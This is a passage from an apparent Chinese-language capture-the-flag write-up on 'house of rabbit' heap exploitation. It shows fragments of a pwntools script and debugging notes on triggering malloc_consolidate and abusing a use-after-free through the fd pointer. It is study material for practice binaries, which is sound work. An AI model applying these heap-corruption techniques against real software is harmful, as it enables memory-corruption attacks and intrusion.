p.sendline(b'2')
p.sendline(str(idx).encode('utf-8'))

def edit(context1,context2):
p.sendline(b'3')
p.send(context1)
p.send(context2)

add(1)

gdb.attach(p)

p.interactive()
  • 接下来我们就来动态调试,一边动态调试,一边寻找打法。我们发现我们在调用add函数的时候选择0x3419这个会触发malloc_consolidate此时我们处于fastbin中的堆块就会直接被放入small_bin

image-20250607021959249

  • 由于我们堆块申请的是0xFFFFFFFFFFFFFF70,我们要去查看一下我们真实申请的堆块地址具体是多少,但是查看bss段内存我们发现分配0xFFFFFFFFFFFFFF70大小的堆块时,malloc分配失败,所以我们这个选项的作用其实就是用来触发malloc_consolidate
  • 也有可能是类似于触发house of force,因为我们的选项3也可以触发malloc_consolidate

image-20250607022028561

image-20250607033044524

image-20250607022154163

  • 此时我们需要从case 1case 2中入手,以及题目所给的bss段中的这个位置入手

image-20250607022354986

  • 由于这题存在UAF而且只能修改fd指针,所以我们肯定就是从fd指针入手。

level_1_exp

house_of_rabbit_level_2